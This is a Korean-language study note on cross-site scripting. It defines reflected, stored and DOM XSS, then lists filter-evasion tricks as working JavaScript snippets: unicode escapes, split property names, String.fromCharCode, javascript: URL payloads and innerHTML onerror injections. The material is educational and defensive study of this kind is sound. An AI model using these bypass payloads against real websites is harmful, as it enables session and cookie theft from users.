01. XSS란?

악성 스크립트를 웹 페이지에 삽입하여 사용자의 브라우저에서 실행되도록 하는 공격 기법

02. XSS 종류

  • Reflected XSS
  • Stored XSS
  • DOM XSS

03. Reflected XSS

03-1. Reflected XSS란?

요청 메시지에 입력된 악성 스크립트 코드가 응답 메시지를 통해 출력되는 취약점

EX ) 게시판에 글 남기기, 이메일 피싱

04. Stored XSS

04-1. Stored XSS란?

보안이 취약한 게시판 같이 글을 적고 저장할 수 있는 사이트에서 다른 사용자의 정보를 빼돌릴 수 있는 악성 스크립트를 올려서 사용자의 쿠키를 탈취하는 취약점

05. DOM XSS

05-1. DOM XSS란?

보안이 취약한 웹 사이트의 URL에 악성 스크립트가 실행되도록 만들어서 사용자에게 전달하여 사용자의 정보를 탈취하거나 다른 악성코드를 다운받게 만드는 취약점


06. XSS 필터링 우회 심화

06-1. Unicode escape sequence

JS는 기본적으로 unicode escape sequence라는 것을 지원하는데 이것은 문자열을 필터링 당했을 경우 사용하기 좋은 우회 방법이다.

var foo = "\\u0063ookie";
\\u0061lert(document.cookie);

06-2. Computed member access

객체의 속성에 접근할 때 속성의 이름을 동적으로 계산하는 기능.

document["coo"+"kie"] == document["cookie"] == document.cookie

06-3. XSS 구문 필터링 경우 대체할 수 있는 것들

alert, XMLHttpRequestwindow[’al’+’ert’], window[’XMLHtt’+’pRequest’]등 이름 끊어서 쓰기
windowself, this
eval(code)Function(code) ()
FunctionisNaN[‘constructor’] 등 함수의 constructor 속성 접근

06-4. 괄호를 이용한 JS 실행

*https://jsfuck.com/*

위 사이트는 ‘[’ ‘(’ ‘{’등 과 같은 기호로 JS 구문을 자동으로 만들어주는 사이트이다.

06-5. 템플릿 리터널

‘ 혹은 “가 필터링 됐을 경우 우리는 백틱 기호를 사용해서 우회할 수 있다.

var foo = "Hello";
var bar = "World";
var baz = `${foo} ${bar} ${1+1}`

여기서 백틱 기호도 필터링 하는 경우

var foo = /Hello World!/.source;

06-6. String.fromCharCode함수

위와 같이 ‘ 혹은 “ 그리고 백틱 기호를 못 사용하는 상황에서는 String.fromCharCode를 사용해서 우회할 수 있다.

var foo = String.fromCharCode(72,101,108,111);

06-7. 내장 함수를 활용한 우회

var baz = history.toString()[8] + (history+[])[9] + (URL+0)[12] + (URL+0)[13]; // "Hi()"

history.toString() 은 "[object History]" 문자열을 반환하고, URL.toString()은 "function URL() { [native code] }" 문자열을 반환합니다. 또한 history+[]; history+0; 처럼 함수나 객체와 +- 와 같은 산술 연산을 수행하게 되면 연산을 위해 객체 내부적으로 toString 함수를 호출해 문자열로 변환한 후에 연산을 수행합니다.

06-8.진수 변환을 이용한 모습

var foo = (29234652).toString(36); // Hello World
var foo = (29234652)..toString(36); // Hello World
var foo = 29234652 .toString(36); // Hello World

10진수 숫자를 36진수로 바꿔서 영어를 출력한다.

06-9. JS 스키마를 활용한 location 변경

location="javascript:alert\\x28document.domain\\x29;";
location.href="javascript:alert\\u0028document.domain\\u0029;";
location['href']="javascript:alert\\050document.domain\\051;";

javascript:의 스키마를 이용하면 URL을 이용해 JS 코드를 실행시킬 수 있다.

06-10. document.body.innerHTML 추가

document.body.innerHTML+="<img src=x: onerror=alert&#40;1&#41;>";
document.body.innerHTML+="<body src=x: onload=alert&#40;1&#41;>";

document.body.innerHTML을 이용하면 JS 명령어를 HTML에 넣을 수 있다.